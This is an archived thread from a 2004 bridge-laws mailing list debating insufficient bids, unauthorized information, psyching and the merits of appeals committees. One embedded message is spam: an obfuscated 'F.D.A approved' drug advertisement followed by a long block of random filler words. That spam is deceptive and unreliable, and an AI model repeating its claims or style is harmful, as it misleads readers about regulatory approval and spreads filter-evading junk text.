can I fail to convey to him through UI that 2D would be to play? > Best wishes > > RJH > -------------------------------------------------------------------------------------- > Important Warning: If you have received this email in error, please > advise the sender and delete the message and attachments immediately. This > email, including attachments, may contain confidential, legally privileged > and/or copyright information, the unauthorised use of which is prohibited. > Any views expressed in this email are those of the individual sender, > except where the sender expressly, and with authority, states them to be > the view of the Department of Immigration and Multicultural and Indigenous > Affairs (DIMIA). DIMIA respects your privacy and has obligations under the > Privacy Act 1988 (see www.immi.gov.au). > -------------------------------------------------------------------------------------- > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From gesta@tiscali.co.uk Mon May 3 22:46:26 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Mon, 3 May 2004 22:46:26 +0100 Subject: [blml] Re: Johnny Wiser References: <010601c43063$5f43f040$32244c0c@valuedqe19ks6r> Message-ID: <001f01c43158$9c74cd40$b4d3403e@multivisionoem> Grattan Endicott "A perfect gentleman" From emu@atrax.net.au Tue May 4 14:25:18 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Tue, 4 May 2004 23:25:18 +1000 Subject: Fw: [blml] Double-meaning double In-Reply-To: <02f601c42dec$404f7f20$649868d5@tinyhrieuyik> Message-ID: <000801c431db$446b0640$7e6fddcb@noeltsui0kso1i> >In England and similar jurisdictions there is a further problem. In = most competitions, it's illegal to agree to open with >"rule of 18" or less. Hence you cannot tell opponents that partner has a propensity to psyche, weaker, third in hand -- >because that would obviously involve an = illegal understanding and would result in an automatic TD call. >(: Although I suspect that the ruling would depend on which >TD you called :) >A complex issue. Could Danny Roth be right? Should psyching >be banned? Please, please, please let us not go down that track!!! You ban psyches. Ok, so I open a strong 1NT with 16 points, 2335 with a doubleton Q. = Psyche you scream. The Q isn't worth 2 points so you don't have your bid! Ok, so I open a good 10 count in 3rd seat. Psyche you scream! You must have 11. Ok, I open 1NT with a 2254 shape. Psyche you scream! Can't have 2 doubletons. Ok, so I open a weak 2H with only 5 hearts. Psyche you scream! Must = have 6+ hearts. Ok, so I Blackwood with a void. Psyche you scream! Noone in their = right mind bids Blackwood with a void, ergo, you can't have one! Ok, so I Pass with 8 points and 6 Hearts. Psyche you scream! You MUST = open this hand 2H.... Where, oh where does it end???? If you don't bid the mandated SYSTEM = bid, as defined by who knows who, you MUST have psyched! Where does that = leave judgement? I'll go elsewhere for my entertainment thanks.... regards, Noel=20 --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.665 / Virus Database: 428 - Release Date: 21/04/2004 _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From karel@esatclear.ie Tue May 4 22:51:20 2004 From: karel@esatclear.ie (Karel) Date: Tue, 4 May 2004 22:51:20 +0100 Subject: [blml] 2 cases In-Reply-To: <000001c43095$50cd2ae0$6900a8c0@WINXP> Message-ID: Law 27B2 (Insufficient bid not accepted) "If either the insufficient bid or the lowest sufficient bid in the same denomination may have been conventional or if the bid is corrected by any other sufficient bid or by a pass, (penalty) the offender's partner must pass whenever it is his turn to call ....." +++ just to clear this up .. ".. MAY have been conventional ... " In the case sited, 4C may have been Gerber, but maybe not. How exactly is one supposed to rule ?? If you ask the OS side they will naturally deny 4C is gerber. Do you check the Cc and if gerber is ticked assume its possible it could be used here ?? If no CC what ?? K. From karel@esatclear.ie Tue May 4 22:51:21 2004 From: karel@esatclear.ie (Karel) Date: Tue, 4 May 2004 22:51:21 +0100 Subject: [blml] 2 cases In-Reply-To: Message-ID: +++ Not 100% I'm getting this right. Are we saying that in the actual case I presented N/S should be given the benefit of the doubt and the score should have been adjusted to 4S + 1 both ways or just for E/W ?? K. For his first case, Karel wrote: [snip] >>At the end of play, N/S called the TD and >>stated they felt they were damaged. If given >>the correct explanation (what looked like a >>good bad 2NT sequence), North would double and >>South would bid 4S's. [snip] >>The appeals committee let the result stand. >>They felt North should have doubled regardless >>and given South's experience should have >>suspected good bad 2NT and bid 4S. >> >>Comments ... [snip] In the ACBL Long Beach 2003 Appeals Casebook, advice for advancing players, Rich Colker wrote: >An important theme runs through several cases >here (see CASES TWENTY-TWO, TWENTY-FOUR and >THIRTY-ONE). A pair misinforms the opponents, >leading to a favorable result for the >misinformers. The Director adjusts the scores >and they appeal, arguing that although there >was MI, it was inconsequential and in any case >the opponents should have known what was >happening and gotten it right. Well, the moral >is that in such cases an appeal should not even >be considered. Let's see why. > >Take a seat. With no one vulnerable you pick up >832 J8752 Q87 86. RHO and you pass, and LHO >opens 1NT (12-14 HCP). Partner doubles, showing >an "equal or better" hand, and RHO bids 2D. >Your turn. It's possible the opponents are >about to go for a number whatever they do. It's >also possible that your side can make a heart >partscore or game but that partner, holding a >balanced strong notrump, may not be able to >find another call if 2D is passed back around >to him. On the other hand, partner may not be >able to judge the ensuing auction well if you >double with so few high cards (he'll play you >for this much or more in any case). All things >considered, bidding 2H is reasonable (it >doesn't show any more than you have in the way >of high cards) but pass and double are also >understandable. > >But wait. LHO Announces that 2D is a transfer, >so bidding 2H is out. Given your heart holding, >you briefly consider whether RHO can really >have hearts. Why not? If LHO has a doubleton >then partner can surely have a hand with a >singleton heart, the equivalent of a strong >notrump (or even more) in high cards and 4-4-4 >or 3-4-5 distribution in the other suits. He >surely would have doubled a weak notrump with >such a hand. Obviously you cannot double 2D as >partner will likely place you with a diamond >suit - or at least with general defensive >values you do not have. So you pass. Next LHO >bids 2H and partner doubles, showing extra >values. From your hand it looks like partner >wants you to take out his double but if the >opponents are having a misunderstanding >partner may actually have hearts with you. >Headache. > >Now LHO bids 3D and you think "Aha, he intended >2D as natural." But wait. Maybe he's five-five >in the red suits and wants to compete - not >likely but possible. So what now? You ask LHO >about the 3D bid ("Is it forcing to game?") and >are told "It shows a weak hand with diamonds." >Does that mean only diamonds or diamonds in >addition to the hearts 2D showed? If the latter >then double by you seems clear; if the former >then you have a tough choice between double and >3H. The disadvantage of double is that you may >defend 3D doubled for +100 when you're cold for >+140 or +170 in hearts or will get +300 when >you're cold for +420 in 4H. The disadvantage of >bidding 3H is that partner will have a tough >decision whether to pass or bid game and with >your only side card in "their" suit you hardly >want to encourage him to bid 4H holding >something like QJx AKQxx Ax KJx, but you know >he will. So you double and we have CASE >TWENTY-FOUR. > >I won't bother to go through the offenders' >arguments again. Suffice it say that they're >irrelevant. Even if a non-offender took an >action that was far more of a bridge error than >anything mentioned above, and even if it was >judged to be enough to forfeit their right to >redress, the Committee will remember that, but >for the MI, none of this would have happened >(they would have bid a natural 2H over 2D and >gotten to wherever they would have gotten - >probably 4H - but wherever that was, their >success, or lack of it, would have been of >their own making). So regardless of how the >Committee views their subsequent actions, Law >12C2 still requires that the offenders' score >be adjusted as the Director did at the table >(in the actual case to -450 in 4H). So the >appeal could not win and thus had no merit. [snip] Best wishes Richard James Hills ---------------------------------------------------------------------------- ---------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately.  This email, including attachments, may contain confidential, legally privileged and/or copyright information, the unauthorised use of which is prohibited. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to be the view of the Department of Immigration and Multicultural and Indigenous Affairs (DIMIA).  DIMIA respects your privacy and has obligations under the Privacy Act 1988 (see www.immi.gov.au). ---------------------------------------------------------------------------- ---------- _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From richard.hills@immi.gov.au Tue May 4 23:41:43 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 5 May 2004 08:41:43 +1000 Subject: [blml] The future of appeals Message-ID: In Marc Smith's book World Class, Conversations with the Bridge Masters, pages 78-79, Jeff Meckstroth said: [snip] >If I could change one thing in the game, it would be >the appeals process - I would totally do away with >it. The director's decision should be final, just >like the referee in virtually any other sport. There >are enough directors who are good bridge players. We >should let the floor directors take the tougher >decisions to the best player/directors that we have, >and their decision should be the end of the matter. > >I believe strongly in this. It would be much better >for the game, because first of all you would get >consistent rulings. You might get screwed >occasionally (referees miss calls from time to time >in any sport), but you will get some consistency. >Secondly, when the game is over you will have a known >winner. [snip] >if at the end of the game we are still quibbling over >about who won? So I would just totally do away with >the whole process. I find it disgusting. Richard James Hills writes: In the real world, the purpose of judicial Courts of Appeal is for more-experienced-in-Law judges to correct errors made by less-experienced-in-Law judges. But in bridge, it is the more-experienced-in-Law TDs who get "corrected" by less-experienced-in-Law ACs. In theory, Law 93B prevents ACs from making Lawfully daft decisions. But, in practice, a good judgement decision (after consultation) made by a TD is often "corrected" by a bad judgement decision by an AC. Again in theory, bad AC decisions "correcting" good TD decisions are supposed to be outnumbered by good AC decisions correcting bad TD decisions. If so, then the appeals process has a net benefit on average. But, in practice, it seems to me that - on average - the professional TDs are more competent than the amateur ACs. As a panellist for the forthcoming 2003 EBU Appeals Casebook, I excluded rulings by TDs and ACs which seemed to me to be either clearly correct, or borderline, or merely a reasonable difference in a TD's/AC's judgement from my judgement. I then analysed what I thought were clear errors by TDs or AC members. This was my conclusion: >>This is my subjective tally of Appeals Committee >>performance in this casebook: >> >>Poor TD rulings improved by ACs: >> >>Four (but one of these AC improvements was a >>"courageously" bad TD ruling which was only >>partially rectified by an AC's invalid Reveley >>ruling) >> >>Good TD rulings ruined by ACs: Five >> >>AC individuals fortunately outvoted: Two >> >>TD and AC crashing and burning: One [snip] >>If my subjective assessment bears even a passing >>resemblance to objective reality, then there is >>a worrying lack of competence amongst EBU Appeals >>Committee panellists. Appeals Committees are >>supposed to improve the process, but, in my >>opinion, the overall results of these 19 cases >>would have been better if a Director's ruling was >>final. [snip] Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Wed May 5 00:18:53 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 5 May 2004 09:18:53 +1000 Subject: [blml] 2 cases Message-ID: Karel wrote: [snip] >In the case cited, 4C may have been Gerber, but >maybe not. How exactly is one supposed to >rule ?? If you ask the OS side they will >naturally deny 4C is gerber. [snip] RJH replies: I disagree with Karel's implied premise that a partnership "naturally" lies about what are the partnership agreements that they have, if such a lie gives them a competitive advantage. In my experience, natural-born liars are very rare. Furthermore, in my experience, competent TDs are well aware of which of the tiny minority of their customers are natural-born liars, so those competent TDs carefully investigate any assertions made by natural-born liars for supporting evidence. >From a Lawful point of view, a TD is supposed to decide disputed facts according to Law 85. Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Wed May 5 05:12:58 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 5 May 2004 14:12:58 +1000 Subject: [blml] Active ethics (was Double-meaning) Message-ID: Herman De Wael asserted: [snip] >Now I ask myself - would I have noticed the >double when it comes back to me. And the >answer is: undoubtedly. Passing a Stayman is >so strange that I cannot fail to realize >that something has gone wrong, and I ask for >a review of the bidding (or look at the >table) and the double comes to light. Then I >also ask myself whether or not I know my >system well enough to realize, 100% certain, >what my 2C means systemically. And of course >I do. So I don't consider the explanations >that my partner has provided to be UI (or, >more precise, I consider I have AI to the >same effect) and I consider myself (actively >ethically) not bound to act. [snip] WBF Code of Practice, page 6: >>It is legal for a player to base a call or >>play on information from prior legal calls >>in the auction [snip] >>Any information obtained from partner >>otherwise is unauthorized and it is illegal >>to use it if it suggests a call or play. >>This includes any information that eases >>the choice of a call or play. Richard James Hills notes: There seems to be an ambiguity in the WBF CoP. This is because East's first double is a prior legal call which is AI to South. But North's explanation which initially drew South's attention to East's first double is UI to South. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From mikedod@gte.net Wed May 5 06:11:03 2004 From: mikedod@gte.net (mike dodson) Date: Tue, 4 May 2004 22:11:03 -0700 Subject: [blml] 2 cases References: Message-ID: <018801c4325f$5d173360$72700f04@cyberxp> Karel on May 2nd: Board 14 Dealer East S Q93 H 5 D AQJT42 C 863 West East S K8 S AJT62 H QT9642 H A3 D 985 D 6 C AQ C KJ542 S 754 H KJ87 D K73 C T97 Bidding E S W N 1S P 2H 3D 4C(1) P 4S P P P Result 4S+1 diamond 3 lead (1) Insufficient bid of 3C corrected to 4C's which is Gerber. 4S shows 2 aces. N/S felt East acted on UI. East should have bid 4H which West is very likely to pass. 4H makes just 10 tricks. Your call. Karel on May 4th: > > Law 27B2 (Insufficient bid not accepted) > "If either the insufficient bid or the lowest sufficient bid in the same > denomination may have been conventional or if the bid is corrected by any > other sufficient bid or by a pass, (penalty) the offender's partner must > pass whenever it is his turn to call ....." > > +++ just to clear this up .. ".. MAY have been conventional ... " > > In the case sited, 4C may have been Gerber, but maybe not. How exactly is > one supposed to rule ?? If you ask the OS side they will naturally deny 4C > is gerber. Do you check the Cc and if gerber is ticked assume its possible > it could be used here ?? If no CC what ?? > > K. The original post offers 4C gerber as fact, not possiblity. Case closed. I thought the rationale for this law was that if there is the possiblity offender's partner may consider whether the intended bid was conventional or not than we avoid any UI problems by banning him. Often unduly harsh, IMO, but it does avoid just this problem. To answer the question: In the context of the offender's system and the possible misapprehensions that led offender to make the insufficeint bid, would either the original bid or its sufficent counterpart have been conventional. Determining such truths is left to the judgement of the director. Asking the offenders about their agreements is in order, asking what the offender really meant is irrelevent unless the answer is "conventional" so that no further investigation is required. Mike Dodson From svenpran@online.no Wed May 5 07:05:52 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 5 May 2004 08:05:52 +0200 Subject: [blml] 2 cases In-Reply-To: Message-ID: <000001c43267$053bec50$6900a8c0@WINXP> > Karel > Law 27B2 (Insufficient bid not accepted) > "If either the insufficient bid or the lowest sufficient bid in the = same > denomination may have been conventional or if the bid is corrected by = any > other sufficient bid or by a pass, (penalty) the offender's partner = must > pass whenever it is his turn to call ....." >=20 > +++ just to clear this up .. ".. MAY have been conventional ... " >=20 > In the case sited, 4C may have been Gerber, but maybe not. How = exactly is > one supposed to rule ?? If you ask the OS side they will naturally = deny > 4C > is gerber. Do you check the Cc and if gerber is ticked assume its > possible > it could be used here ?? If no CC what ?? If offenders cannot convince the Director that both the insufficient bid = and the replacement bid are incontrovertibly not conventional then the = Director shall rule that any such doubtful bid "may have been conventional". Sven=20 From HannahCrystal@vl-leonardo.be Wed May 5 11:28:55 2004 From: HannahCrystal@vl-leonardo.be (Pelletier-Mohammad) Date: Wed, 05 May 2004 05:28:55 -0500 Subject: [blml] Brianna Message-ID: Email is Loading . . . .


Image-Not-Showing?
= F.D.A & U.SD.A Appr.oved, Sav.e Mon.ey - Orde.r Toda.y



n0-m0re

grippe niche infiltrate enmity faculty easy cu= pboard deuce carbonic distributor golden colleague tact poncho hypocycloid= icosahedral frontier leighton mall technology adult artwork anorthite con= y brahms collet crimea hatchway brainy troll phobic physiotherapy monologi= st reversion schenectady brook decade drummond dishwasher buttermilk fisk = hatteras imbalance orville antipathy champ timetable tnt slope writeup aja= r archaic influential koenigsberg jonquil freakish mellow oscillatory pill= sbury suspend lawman atwater eradicable trichinella urban radical notoriet= y michelangelo sovereignty coexist bonn caddy atreus deduct hieroglyphic p= ity cryogenic berg ellen haulage assailant collimate truck einstein multip= lexor northeastern dart seedy wharf ohio coffer gable hibernia delilah whi= tcomb cyprian stimulate except involuntary machismo coupon boric shadflowe= r coulter come track pulsar denominate gender doorknob sourberry singable = squatting triplicate cheer controlling astral vladimir holly accusatory gr= avestone cryptanalysis vaduz inexplicit bellmen ssw slosh cleanse del inho= mogeneous albanian repetition awful magnate pathogenic amid threaten deign= cadre expose astrophysical snowstorm poynting asteroid pump basidiomycete= s presumption luge accordion bragging mizar garb manatee sometime coquette= kennedy alcove hades toffee fraser bereft impermissible inductee rocco ch= eshire paramagnet hare quatrain selectmen pacific inflate dismal balk well= esley chateau souffle treachery beg column johansen macho occasion sanhedr= in tattle billow rancid generate desert convolve serge follicular aleph pa= ulo chard obedient play combinatoric follow valedictory wendy stratford mu= rphy widthwise insomnia best allege berry augustan confidential remus fiel= dstone trunk decant beguile grateful president garibaldi breakage conrail = rhombohedral moscow trundle god retrograde custom byline terrapin product = switzerland masturbate jill anselmo legging catharsis edgewise imitable in= dian archae dust formidable soybean commentator perceptual lexical j cutov= er hiroshima complainant ingenuous teletypewrite jeep crisp teeter demonst= rate irrespective polyploidy psychology titanate puffery bruno bizet veron= ica ruination inseparable pennant treason mesoderm jiffy claimant dyer nic= e chronicle cofactor bogy cotman signet barnett parsimonious chastise bell= ingham brethren cytology bluster cpa balky bainite booby subtlety burp chu= rchwomen honk above cornucopia close bump culvert noxious ultimate ambassa= dor collapsible albatross sulfide slay chigger foursome biography consume = countenance poetic spade cattleman stew byzantium andromache=20 From grandeval@vejez.fsnet.co.uk Wed May 5 11:30:48 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Wed, 5 May 2004 11:30:48 +0100 Subject: Fw: [blml] Double-meaning double References: <000801c431db$446b0640$7e6fddcb@noeltsui0kso1i> Message-ID: <005d01c43295$31af3b60$adbd87d9@4nrw70j> Grattan Endicott To: Sent: Tuesday, May 04, 2004 2:25 PM Subject: RE: Fw: [blml] Double-meaning double Please, please, please let us not go down that track!!! You ban psyches. >< Where, oh where does it end???? If you don't bid the mandated SYSTEM bid, as defined by who knows who, you MUST have psyched! Where does that leave judgement? I'll go elsewhere for my entertainment thanks.... >< +=+ Note that the distortion of hand value or suit length in a psyche is by definition 'gross' You are inclined, Noel, to quote examples that do not fit that description. Second, note that under the present laws the repeated opening of hands of seven HCP or fewer would lead to an implicit agreement that your opening bids can be of this order. Remember also that, under the present laws, SOs can prohibit such openers made by agreement explicit or implicit. Other violations of system become part of your methods to be disclosed if repeated to the extent of becoming implicit agreements - and this happens sooner rather than later. Disclosed methods are subject to the systems regulations in force. There is no doubt that, where inclined, SOs can enforce a limitation of psyching to a substantial degree. I do not know exactly what lies in store in future law. However, there is strong demand for a commitment to regulation of everything that does not need to be law for the retention of the essentials of the game. Some do not see psyching as an essential part of the game; many do not think frequent psyching or psyching in user-friendly game environments appropriate. So I do not foresee removal of psyching from the game but institution of local environmental controls may well be contemplated - and that could entail control of the actuality rather than the agreement. ~ Grattan ~ +=+ From grandeval@vejez.fsnet.co.uk Wed May 5 12:34:39 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Wed, 5 May 2004 12:34:39 +0100 Subject: [blml] Active ethics (was Double-meaning) References: Message-ID: <005e01c43295$32a1d8c0$adbd87d9@4nrw70j> Grattan Endicott To: Cc: Sent: Wednesday, May 05, 2004 5:12 AM Subject: Re: [blml] Active ethics (was Double-meaning) [snip] WBF Code of Practice, page 6: >>It is legal for a player to base a call or >>play on information from prior legal calls >>in the auction [snip] >>Any information obtained from partner >>otherwise is unauthorized and it is illegal >>to use it if it suggests a call or play. >>This includes any information that eases >>the choice of a call or play. Richard James Hills notes: There seems to be an ambiguity in the WBF CoP. This is because East's first double is a prior legal call which is AI to South. But North's explanation which initially drew South's attention to East's first double is UI to South. +=+ Point taken. The intention might have been clearer if "information obtained from partner otherwise" had been written 'gained' rather than 'obtained' - it is 'added information' that is targeted. But if South did not know about the double until North drew his attention to it this is information obtained (gained) from North's explanation - and it is too late now to go back and learn about the double 'prior' to learning about it from North. The source from which I obtain oinformation is not necessarily the place in which it was first available to me. Today I have learnt the location of Yelwa from the BBC News although it is shown, I find, in the Encarta World Atlas I have possessed and used for a couple of years. ~ Grattan ~ +=+ From john@asimere.com Wed May 5 13:21:08 2004 From: john@asimere.com (John (MadDog) Probst) Date: Wed, 5 May 2004 13:21:08 +0100 Subject: [blml] Active ethics (was Double-meaning) In-Reply-To: <005e01c43295$32a1d8c0$adbd87d9@4nrw70j> References: <005e01c43295$32a1d8c0$adbd87d9@4nrw70j> Message-ID: In article <005e01c43295$32a1d8c0$adbd87d9@4nrw70j>, grandeval writes Snip > >Richard James Hills notes: > >There seems to be an ambiguity in the WBF >CoP. This is because East's first double is >a prior legal call which is AI to South. But >North's explanation which initially drew >South's attention to East's first double is >UI to South. > >+=+ Point taken. The intention might have >been clearer if "information obtained from >partner otherwise" had been written 'gained' >rather than 'obtained' - it is 'added information' >that is targeted. But if South did not know >about the double until North drew his attention >to it this is information obtained (gained) from >North's explanation - and it is too late now >to go back and learn about the double 'prior' >to learning about it from North. > The source from which I obtain oinformation >is not necessarily the place in which it was first >available to me. Today I have learnt the location >of Yelwa from the BBC News although it is >shown, I find, in the Encarta World Atlas I have >possessed and used for a couple of years. > ~ Grattan ~ +=+ The problem is simple. Partner gave me the UI which caused me to notice the first double. I'm pretty sure that I would have noticed the double if I'd been behind a screen (and therefore not getting the UI) but I'm not certain [and here I disagree with Herman]. Given this doubt I'm going to assume I wouldn't have noticed and concede the 800. Behind screens, as I said, and if I'd noticed I'd bid 2D. John > > > > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Wed May 5 13:26:17 2004 From: john@asimere.com (John (MadDog) Probst) Date: Wed, 5 May 2004 13:26:17 +0100 Subject: Fw: [blml] Double-meaning double In-Reply-To: <000801c431db$446b0640$7e6fddcb@noeltsui0kso1i> References: <02f601c42dec$404f7f20$649868d5@tinyhrieuyik> <000801c431db$446b0640$7e6fddcb@noeltsui0kso1i> Message-ID: In article <000801c431db$446b0640$7e6fddcb@noeltsui0kso1i>, Noel and Pamela writes > > > > > >>In England and similar jurisdictions there is a further problem. In most >competitions, it's illegal to agree to open with >"rule of 18" or less. >Hence you cannot tell opponents that partner has a propensity to psyche, >weaker, third in hand -- >because that would obviously involve an illegal >understanding and would result in an automatic TD call. >>(: Although I suspect that the ruling would depend on which >>TD you called :) > >>A complex issue. Could Danny Roth be right? Should psyching >>be banned? psyching against Danny in the first round of a long match is "de rigeur" in London. He moans like hell and it's worth a bushel of imps in the later stages. I wouldn't bother except he unintentionally psyches himself with a fair degree of regularity. He's a far better post-mortem player than at-the-table player, which is why his books are well worth reading provided you can stand the prose style. john -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From nigel.guthrie@ntlworld.com Wed May 5 14:36:31 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Wed, 5 May 2004 14:36:31 +0100 Subject: Fw: [blml] Double-meaning double References: <02f601c42dec$404f7f20$649868d5@tinyhrieuyik> <000801c431db$446b0640$7e6fddcb@noeltsui0kso1i> Message-ID: <00ea01c432a6$0021edc0$1e9868d5@tinyhrieuyik> ----- Original Message ----- From: "John (MadDog) Probst" To: Sent: Wednesday, May 05, 2004 1:26 PM Subject: Re: Fw: [blml] Double-meaning double In article <000801c431db$446b0640$7e6fddcb@noeltsui0kso1i>, Noel and Pamela writes > > > > > >>In England and similar jurisdictions there is a further problem. In most >competitions, it's illegal to agree to open with >"rule of 18" or less. >Hence you cannot tell opponents that partner has a propensity to psyche, >weaker, third in hand -- >because that would obviously involve an illegal >understanding and would result in an automatic TD call. >>(: Although I suspect that the ruling would depend on which >>TD you called :) > >>A complex issue. Could Danny Roth be right? Should psyching >>be banned? [John MadDog Probst] psyching against Danny in the first round of a long match is "de rigeur" in London. He moans like hell and it's worth a bushel of imps in the later stages. I wouldn't bother except he unintentionally psyches himself with a fair degree of regularity. He's a far better post-mortem player than at-the-table player, which is why his books are well worth reading provided you can stand the prose style. [Nigel] I don't want a ban on psyches; in this case and similar cases, however, I'm more than dubious about John's argument and strategy: others will be better able to comment on whether it's consistent with current law. [Hosea 8:7] "For they have sown the wind, and they shall reap the whirlwind." --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.676 / Virus Database: 438 - Release Date: 03/05/2004 From emu@atrax.net.au Wed May 5 14:47:48 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Wed, 5 May 2004 23:47:48 +1000 Subject: Fw: [blml] Double-meaning double In-Reply-To: <005d01c43295$31af3b60$adbd87d9@4nrw70j> Message-ID: <000c01c432a7$8ef14400$122fc2cb@noeltsui0kso1i> Grattan, That is not what I meant, and I think it was pretty plain. Where will = it end? Take my example of a hand with 8 HCP and 6 Hearts. If I fail to open that 2H (not 1H as you seem to have assumed I meant), = then if psychs are banned, I MUST open this a weak 2 in Hearts, because if I don't I will have obviously psyched. By some purists definition I will = have grossly misstated my suit length or point strength by passing. If the ACBL can ban multi-2s, give them half a chance and they will = insist that the hand given must be opened. The law makers will reach over my shoulder and insist that I bid X rather than Y because to allow me to do = so might result in some paying punters giving up or some such nonsense. [Of course I can't agree with partner to open 7 counts at the 1 level regularly - that would be Yellow (or HUM) and result in me being unable = to play in most pairs events in this country and lose me seating rights = etc. in any teams match.] regards, Noel=20 -----Original Message----- From: grandeval [mailto:grandeval@vejez.fsnet.co.uk]=20 Sent: Wednesday, May 05, 2004 8:31 PM To: Noel and Pamela Cc: BLML@rtflb.org Subject: Re: Fw: [blml] Double-meaning double Grattan Endicott To: Sent: Tuesday, May 04, 2004 2:25 PM Subject: RE: Fw: [blml] Double-meaning double Please, please, please let us not go down that track!!! You ban psyches. >< Where, oh where does it end???? If you don't bid the mandated SYSTEM bid, as defined by who knows who, you MUST have psyched! Where does that leave judgement? I'll go elsewhere for my entertainment thanks.... >< +=3D+ Note that the distortion of hand value or suit length in a psyche is by definition 'gross' You are inclined, Noel, to quote examples that do not fit that description. Second, note that under the present laws the repeated opening of hands of seven HCP or fewer would lead to an implicit agreement that your opening bids can be of this order. Remember also that, under the present laws, SOs can prohibit such openers made by agreement explicit or implicit. Other violations of system become part of your methods to be disclosed if repeated to the extent of becoming implicit agreements - and this happens sooner rather than later. Disclosed methods are subject to the systems regulations in force. There is no doubt that, where inclined, SOs can enforce a limitation of psyching to a substantial degree. I do not know exactly what lies in store in future law. However, there is strong demand for a commitment to regulation of everything that does not need to be law for the retention of the essentials of the game. Some do not see psyching as an essential part of the game; many do not think frequent psyching or psyching in user-friendly game environments appropriate. So I do not foresee removal of psyching from the game but institution of local environmental controls may well be contemplated - and that could entail control of the actuality rather than the agreement. ~ Grattan ~ +=3D+ From hermandw@hdw.be Wed May 5 14:53:44 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 05 May 2004 15:53:44 +0200 Subject: [blml] Active ethics (was Double-meaning) In-Reply-To: References: <005e01c43295$32a1d8c0$adbd87d9@4nrw70j> Message-ID: <4098F1E8.7040301@hdw.be> John (MadDog) Probst wrote: > In article <005e01c43295$32a1d8c0$adbd87d9@4nrw70j>, grandeval > writes > >> >>+=+ Point taken. The intention might have >>been clearer if "information obtained from >>partner otherwise" had been written 'gained' >>rather than 'obtained' - it is 'added information' >>that is targeted. But if South did not know >>about the double until North drew his attention >>to it this is information obtained (gained) from >>North's explanation - and it is too late now >>to go back and learn about the double 'prior' >>to learning about it from North. >> The source from which I obtain oinformation >>is not necessarily the place in which it was first >>available to me. Today I have learnt the location >>of Yelwa from the BBC News although it is >>shown, I find, in the Encarta World Atlas I have >>possessed and used for a couple of years. >> ~ Grattan ~ +=+ > This is all well and true, but surely the principle exists that if the BBC is considered UI, then you are still allowed to be able to find Yelwa, if you are instructed to go there, provided it is indeed mentioned in an atlas that you possess. Surely some piece of information is not UI as soon as it is "obtained", and can no more regain it's AI nature. Consider the following as example: LHO bids something, and partner asks what it means. Surely I can use that same info (provided it is something I would need) and the meaning of the bid does not turn into UI for ever more, simply because my partner has asked about it first. Which is apparently also the point of view of John's: > > The problem is simple. Partner gave me the UI which caused me to notice > the first double. I'm pretty sure that I would have noticed the double > if I'd been behind a screen (and therefore not getting the UI) but I'm > not certain [and here I disagree with Herman]. And this diagreement is just about the degree of certainty, not about the principle. I can live with that. > Given this doubt I'm > going to assume I wouldn't have noticed and concede the 800. Behind > screens, as I said, and if I'd noticed I'd bid 2D. John > >> >> >> >> >>_______________________________________________ >>blml mailing list >>blml@rtflb.org >>http://www.amsterdamned.org/mailman/listinfo/blml > > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From jrhind@therock.bm Wed May 5 18:39:10 2004 From: jrhind@therock.bm (Jack Rhind) Date: Wed, 05 May 2004 14:39:10 -0300 Subject: [blml] 